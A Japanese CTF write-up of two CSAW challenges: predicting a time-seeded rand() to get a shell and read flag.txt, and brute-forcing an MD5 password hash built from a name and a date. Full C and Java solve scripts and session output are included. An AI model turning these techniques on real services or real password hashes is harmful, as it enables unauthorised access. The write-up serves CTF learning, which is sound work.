CSAW CTF自体が大したことないというのは置いといて、
pwn haySTACK
$ nc pwn.chal.csaw.io 5002
すると、以下出力
Help! I have lost my favorite needle in one of my 4096 identical haystacks!
Unfortunately, I can't remember which one. Can you help me??
Which haystack do you want to check?
バイナリをダウンロードしてBinaryNinjaで見てみたら、srand(time(null))した直後のrand()の戻り値を0x100000で割った余りと、入力値が一致したら/bin/shを動かすようになっていた。
なので、こちらもCで srand(time(null)); rand()した結果を送信して、その後lsとcat flag.txtを送信した。
$ nc -c "java B" pwn.chal.csaw.io 5002
210355
Help! I have lost my favorite needle in one of my 4096 identical haystacks!
Unfortunately, I can't remember which one. Can you help me??
Which haystack do you want to check?
210355
Hey you found a needle! And its number is 0x00001337! That's it!
flag.txt
haySTACK
flag{4lw4YS_r3m3mB3R_2_ch3CK_UR_st4cks}
-----
a.c #include <stdlib.h> #include <stdio.h> #include <time.h> int main(int argc, char *argv[]) { int a; srand(time(NULL)); a = rand() % 0x100000; printf("%d\n", a); } B.java import java.io.*; public class B { public static void main(String args[]) { InputStreamReader isr = null; BufferedReader br = null; try { isr = new InputStreamReader(System.in, "UTF-8"); br = new BufferedReader(isr); String line = null; String ans = guess(); System.err.println(ans); for (int i = 0; i < 4; i++) { line = wait_line(br, "Which haystack do", null); System.out.println(ans); System.err.println(ans); line = wait_line(br, "Hey you", "Hey, you"); if (line.startsWith("Hey you")) { System.out.println("ls"); System.out.println("cat flag.txt"); wait_line(br, "flag", null); } else { ans = guess(); System.err.println(ans); } } } catch (Exception ex) { ex.printStackTrace(); } } public static String wait_line(BufferedReader br, String q1, String q2) throws IOException { String line = null; while (true) { line = br.readLine(); System.err.println(line); if (q1 != null && line.startsWith(q1)) return line; if (q2 != null && line.startsWith(q2)) return line; } } public static String guess() { try { Runtime rt = Runtime.getRuntime(); Process p = rt.exec("./a"); InputStream ism = p.getInputStream(); InputStreamReader reader = new InputStreamReader(ism, "UTF-8"); BufferedReader br = new BufferedReader(reader); return br.readLine(); } catch (IOException ex) { ex.printStackTrace(); } return null; } }
-----
問題文はこう
Can you crack Aaron’s password hash? He seems to like simple passwords. I’m sure he’ll use his name and birthday in it. Hint: Aaron writes important dates as YYYYMMDD rather than YYYY-MM-DD or any other special character separator. Once you crack the password, prepend it with
flag{
and append it with}
to submit the flag with our standard format. Hash:7f4986da7d7b52fa81f98278e6ec9dcb
.
名前と日付くっつけてmd5してhashが一致すればおk。
最初現在日付からDateクラスなりCalendarクラスで1日ずつ過去にしてループしようと思ったけど、別に無効な日付で試しても問題ないので、2021年からhash一致するまで、月は12-1、日は31-1の3重ループにした。
$ java A
:
Aaron19800323 286a6af3577736c8188403159f382fd8
Aaron19800322 0e5c5b6afda26100e4bcc8e0d8135714
Aaron19800321 7f4986da7d7b52fa81f98278e6ec9dcb
$
-----
A.java import java.security.MessageDigest; public class A { public static void main(String args[]) { try { MessageDigest md = MessageDigest.getInstance("MD5"); for (int y = 2021; y > 0; y--) { String yyyy = String.format("%04d", y); for (int m = 12; m > 0; m--) { String mm = String.format("%02d", m); for (int d = 31; d > 0; d--) { String dd = String.format("%02d", d); String pass = "Aaron" + yyyy + mm + dd; byte[] result = md.digest(pass.getBytes()); String md5 = String.format("%032x", new BigInteger(1, result)); System.out.println(pass + " " + md5); if (md5.equals("7f4986da7d7b52fa81f98278e6ec9dcb")) System.exit(0); } } } } catch (Exception ex) { ex.printStackTrace(); } } }
-----